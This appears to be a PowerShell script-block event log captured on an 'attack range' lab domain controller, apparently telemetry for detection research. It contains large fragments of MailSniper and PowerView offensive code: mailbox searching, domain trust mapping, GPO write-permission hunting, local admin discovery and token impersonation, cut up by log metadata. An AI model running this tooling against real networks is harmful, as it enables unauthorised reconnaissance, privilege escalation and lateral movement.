($Attachment) { # Attach File $newMail.Attachments.AddFileAttachment($Attachment) | Out-Null } # Send email $newMail.Send() Write-Output "Finished!" } catch { Write-Warning $Error[0] } } function Invoke-SelfSearch{ <# .SYNOPSIS This module will connect to a Microsoft Exchange server using Exchange Web Services to gather a number of emails from the current user's mailbox. It then searches through them for specific terms. MailSniper Function: Invoke-SelfSearch Author: Beau Bullock (@dafthack) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None Updated: added oauth access tokens suport and SSO based support via primary refresh token for extra O365 leverage (UsePrt, AccessToken flags) Updater: Yan Linkov (Illusive Networks) .DESCRIPTION This module will connect to a Microsoft Exchange server using Exchange Web Services to gather a number of emails from the current user's mailbox. It then searches through them for b38663b9-7d90-46e4-81bb-901c053808bdC:\Users\Administrator\Downloads\MailSniper-master\MailSniper-master\MailSniper.ps1 4104152150x0123620Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-DomainComputer -Printersaef41075-fb64-4830-8d8e-9f7d81e0046d 4104152150x0123241Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-DomainComputer6ccf11c6-3cdd-47e4-921d-c28f1ba67d92 4104152150x0123015Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-DomainComputered4dbef0-3831-4659-9219-e8dbef07c71d 4104152150x0122772Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-DomainComputere1af415b-6ae2-4ed3-98c9-66f5cc71ce06 4104132150x0122644Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local4344Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [Parameter(ParameterSetName = 'LDAP')] [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [Parameter(ParameterSetName = 'LDAP')] [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Parameter(ParameterSetName = 'LDAP')] [Switch] $Tombstone, [Parameter(ParameterSetName = 'LDAP')] [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) # keep track of domains seen so we don't hit infinite recursion $SeenDomains = @{} # our domain status tracker $Domains = New-Object System.Collections.Stack $DomainTrustArguments = @{} if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API } if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET } if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential } # get the current domain and push it onto the stack if ($PSBoundParameters['Credential']) { $CurrentDomain = (Get-Domain -Credential $Credential).Name } else { $CurrentDomain = (Get-Domain).Name } $Domains.Push($CurrentDomain) while($Domains.Count -ne 0) { $Domain = $Domains.Pop() # if we haven't seen this domain before if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" # mark it as seen in our list $Null = $SeenDomains.Add($Domain, '') try { # get all the trusts for this domain $DomainTrustArguments['Domain'] = $Domain $Trusts = Get-DomainTrust @DomainTrustArguments if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # get any forest trusts, if they exist if ($PsCmdlet.ParameterSetName -eq 'NET') { $ForestTrustArguments = @{} if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } $Trusts += Get-ForestTrust @ForestTrustArguments } if ($Trusts) { if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # enumerate each trust found ForEach ($Trust in $Trusts) { if ($Trust.SourceName -and $Trust.TargetName) { # make sure we process the target $Null = $Domains.Push($Trust.TargetName) $Trust } } } } catch { Write-Verbose "[Get-DomainTrustMapping] Error: $_" } } } } function Get-GPODelegation { <# .SYNOPSIS Finds users with write permissions on GPO objects which may allow privilege escalation within the domain. Author: Itamar Mizrahi (@MrAnde7son) License: BSD 3-Clause Required Dependencies: None .PARAMETER GPOName The GPO display name to query for, wildcards accepted. .PARAMETER PageSize Specifies the PageSize to set for the LDAP searcher object. .EXAMPLE Get-GPODelegation Returns all GPO delegations in current forest. .EXAMPLE Get-GPODelegation -GPOName Returns all GPO delegations on a given GPO. #> [CmdletBinding()] Param ( [String] $GPOName = '*', [ValidateRange(1,10000)] [Int] $PageSize = 200 ) $Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins') $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() $DomainList = @($Forest.Domains) $Domains = $DomainList | foreach { $_.GetDirectoryEntry() } foreach ($Domain in $Domains) { $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))" $Searcher = New-Object System.DirectoryServices.DirectorySearcher $Searcher.SearchRoot = $Domain $Searcher.Filter = $Filter $Searcher.PageSize = $PageSize $Searcher.SearchScope = "Subtree" $listGPO = $Searcher.FindAll() foreach ($gpo in $listGPO){ $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} if ($ACL -ne $null){ $GpoACL = New-Object psobject $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights $GpoACL } } } } ######################################################## # # Expose the Win32API functions and datastructures below # using PSReflect. # Warning: Once these are executed, they are baked in # and can't be changed while the script is running! # ######################################################## $Mod = New-InMemoryModule -ModuleName Win32 # [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] # used to parse the 'samAccountType' property for users/computers/groups $SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{ DOMAIN_OBJECT = '0x00000000' GROUP_OBJECT = '0x10000000' NON_SECURITY_GROUP_OBJECT = '0x10000001' ALIAS_OBJECT = '0x20000000' NON_SECURITY_ALIAS_OBJECT = '0x20000001' USER_OBJECT = '0x30000000' MACHINE_ACCOUNT = '0x30000001' TRUST_ACCOUNT = '0x30000002' APP_BASIC_GROUP = '0x40000000' APP_QUERY_GROUP = '0x40000001' ACCOUNT_TYPE_MAX = '0x7fffffff' } # used to parse the 'grouptype' property for groups $GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ CREATED_BY_SYSTEM = '0x00000001' GLOBAL_SCOPE = '0x00000002' DOMAIN_LOCAL_SCOPE = '0x00000004' UNIVERSAL_SCOPE = '0x00000008' APP_BASIC = '0x00000010' APP_QUERY = '0x00000020' SECURITY = '0x80000000' } -Bitfield # used to parse the 'userAccountControl' property for users/groups $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ SCRIPT = 1 ACCOUNTDISABLE = 2 HOMEDIR_REQUIRED = 8 LOCKOUT = 16 PASSWD_NOTREQD = 32 PASSWD_CANT_CHANGE = 64 ENCRYPTED_TEXT_PWD_ALLOWED = 128 TEMP_DUPLICATE_ACCOUNT = 256 NORMAL_ACCOUNT = 512 INTERDOMAIN_TRUST_ACCOUNT = 2048 WORKSTATION_TRUST_ACCOUNT = 4096 SERVER_TRUST_ACCOUNT = 8192 DONT_EXPIRE_PASSWORD = 65536 MNS_LOGON_ACCOUNT = 131072 SMARTCARD_REQUIRED = 262144 TRUSTED_FOR_DELEGATION = 524288 NOT_DELEGATED = 1048576 USE_DES_KEY_ONLY = 2097152 DONT_REQ_PREAUTH = 4194304 PASSWORD_EXPIRED = 8388608 TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 PARTIAL_SECRETS_ACCOUNT = 67108864 } -Bitfield # enum used by $WTS_SESSION_INFO_1 below $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ Active = 0 Connected = 1 ConnectQuery = 2 Shadow = 3 Disconnected = 4 Idle = 5 Listen = 6 Reset = 7 Down = 8 Init = 9 } # the WTSEnumerateSessionsEx result structure $WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ ExecEnvId = field 0 UInt32 State = field 1 $WTSConnectState SessionId = field 2 UInt32 pSessionName = field 3 String -MarshalAs @('LPWStr') pHostName = field 4 String -MarshalAs @('LPWStr') pUserName = field 5 String -MarshalAs @('LPWStr') pDomainName = field 6 String -MarshalAs @('LPWStr') pFarmName = field 7 String -MarshalAs @('LPWStr') } # the particular WTSQuerySessionInformation result structure $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ AddressFamily = field 0 UInt32 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) } # the NetShareEnum result structure $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ Name = field 0 String -MarshalAs @('LPWStr') Type = field 1 UInt32 Remark = field 2 String -MarshalAs @('LPWStr') } # the NetWkstaUserEnum result structure $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ UserName = field 0 String -MarshalAs @('LPWStr') LogonDomain = field 1 String -MarshalAs @('LPWStr') AuthDomains = field 2 String -MarshalAs @('LPWStr') LogonServer = field 3 String -MarshalAs @('LPWStr') } # the NetSessionEnum result structure $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ CName = field 0 String -MarshalAs @('LPWStr') UserName = field 1 String -MarshalAs @('LPWStr') Time = field 2 UInt32 IdleTime = field 3 UInt32 } # enum used by $LOCALGROUP_MEMBERS_INFO_2 below $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ SidTypeUser = 1 SidTypeGroup = 2 SidTypeDomain = 3 SidTypeAlias = 4 SidTypeWellKnownGroup = 5 SidTypeDeletedAccount = 6 SidTypeInvalid = 7 SidTypeUnknown = 8 SidTypeComputer = 9 } # the NetLocalGroupEnum result structure $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ lgrpi1_name = field 0 String -MarshalAs @('LPWStr') lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') } # the NetLocalGroupGetMembers result structure $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_sid = field 0 IntPtr lgrmi2_sidusage = field 1 $SID_NAME_USE lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') } # enums used in DS_DOMAIN_TRUSTS $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ IN_FOREST = 1 DIRECT_OUTBOUND = 2 TREE_ROOT = 4 PRIMARY = 8 NATIVE_MODE = 16 DIRECT_INBOUND = 32 } -Bitfield $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ DOWNLEVEL = 1 UPLEVEL = 2 MIT = 3 DCE = 4 } $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ NON_TRANSITIVE = 1 UPLEVEL_ONLY = 2 FILTER_SIDS = 4 FOREST_TRANSITIVE = 8 CROSS_ORGANIZATION = 16 WITHIN_FOREST = 32 TREAT_AS_EXTERNAL = 64 } # the DsEnumerateDomainTrusts result structure $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') DnsDomainName = field 1 String -MarshalAs @('LPWStr') Flags = field 2 $DsDomainFlag ParentIndex = field 3 UInt32 TrustType = field 4 $DsDomainTrustType TrustAttributes = field 5 $DsDomainTrustAttributes DomainSid = field 6 IntPtr DomainGuid = field 7 Guid } # used by WNetAddConnection2W $NETRESOURCEW = struct $Mod NETRESOURCEW @{ dwScope = field 0 UInt32 dwType = field 1 UInt32 dwDisplayType = field 2 UInt32 dwUsage = field 3 UInt32 lpLocalName = field 4 String -MarshalAs @('LPWStr') lpRemoteName = field 5 String -MarshalAs @('LPWStr') lpComment = field 6 String -MarshalAs @('LPWStr') lpProvider = field 7 String -MarshalAs @('LPWStr') } # all of the Win32 API functions we need $FunctionDefinitions = @( (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Wtsapi32 = $Types['wtsapi32'] $Mpr = $Types['Mpr'] $Kernel32 = $Types['kernel32'] Set-Alias Get-IPAddress Resolve-IPAddress Set-Alias Convert-NameToSid ConvertTo-SID Set-Alias Convert-SidToName ConvertFrom-SID Set-Alias Request-SPNTicket Get-DomainSPNTicket Set-Alias Get-DNSZone Get-DomainDNSZone Set-Alias Get-DNSRecord Get-DomainDNSRecord Set-Alias Get-NetDomain Get-Domain Set-Alias Get-NetDomainController Get-DomainController Set-Alias Get-NetForest Get-Forest Set-Alias Get-NetForestDomain Get-ForestDomain Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog Set-Alias Get-NetUser Get-DomainUser Set-Alias Get-UserEvent Get-DomainUserEvent Set-Alias Get-NetComputer Get-DomainComputer Set-Alias Get-ADObject Get-DomainObject Set-Alias Set-ADObject Set-DomainObject Set-Alias Get-ObjectAcl Get-DomainObjectAcl Set-Alias Add-ObjectAcl Add-DomainObjectAcl Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl Set-Alias Get-GUIDMap Get-DomainGUIDMap Set-Alias Get-NetOU Get-DomainOU Set-Alias Get-NetSite Get-DomainSite Set-Alias Get-NetSubnet Get-DomainSubnet Set-Alias Get-NetGroup Get-DomainGroup Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup Set-Alias Get-NetGroupMember Get-DomainGroupMember Set-Alias Get-NetFileServer Get-DomainFileServer Set-Alias Get-DFSshare Get-DomainDFSShare Set-Alias Get-NetGPO Get-DomainGPO Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping Set-Alias Get-LoggedOnLocal Get-RegLoggedOn Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess Set-Alias Get-SiteName Get-NetComputerSiteName Set-Alias Get-Proxy Get-WMIRegProxy Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive Set-Alias Get-NetProcess Get-WMIProcess Set-Alias Ine66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122641Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local4044tring] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Switch] $CheckShareAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-LocalAdminAccess] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # check if the current user has local admin access to this server $Access = Test-AdminAccess -ComputerName $TargetComputer if ($Access.IsAdmin) { $TargetComputer } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken } } else { Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainLocalGroupMember { <# .SYNOPSIS Enumerates the members of specified local group (default administrators) for all the targeted machines on the current (or specified) domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and enumerates the members of the specified local group (default of Administrators) for each machine using Get-NetLocalGroupMember. By default, the API method is used, but this can be modified with '-Method winnt' to use the WinNT service provider. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER GroupName The local group name to query for users. If not given, it defaults to "Administrators". .PARAMETER Method The collection method to use, defaults to 'API', also accepts 'WinNT'. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainLocalGroupMember Enumerates the local group memberships for all reachable machines in the current domain. .EXAMPLE Find-DomainLocalGroupMember -Domain dev.testlab.local Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred Enumerates the local group memberships for all reachable machines the dev.testlab.local domain using the alternate credentials. .OUTPUTS PowerView.LocalGroupMember.API Custom PSObject with translated group property fields from API results. PowerView.LocalGroupMember.WinNT Custom PSObject with translated group property fields from WinNT results. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LocalGroupMember.API')] [OutputType('PowerView.LocalGroupMember.WinNT')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String] $GroupName = 'Administrators', [ValidateSet('API', 'WinNT')] [Alias('CollectionMethod')] [String] $Method = 'API', [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainLocalGroupMember] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $GroupName, $Method, $TokenHandle) # Add check if user defaults to/selects "Administrators" if ($GroupName -eq "Administrators") { $AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null) $GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1] } if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = 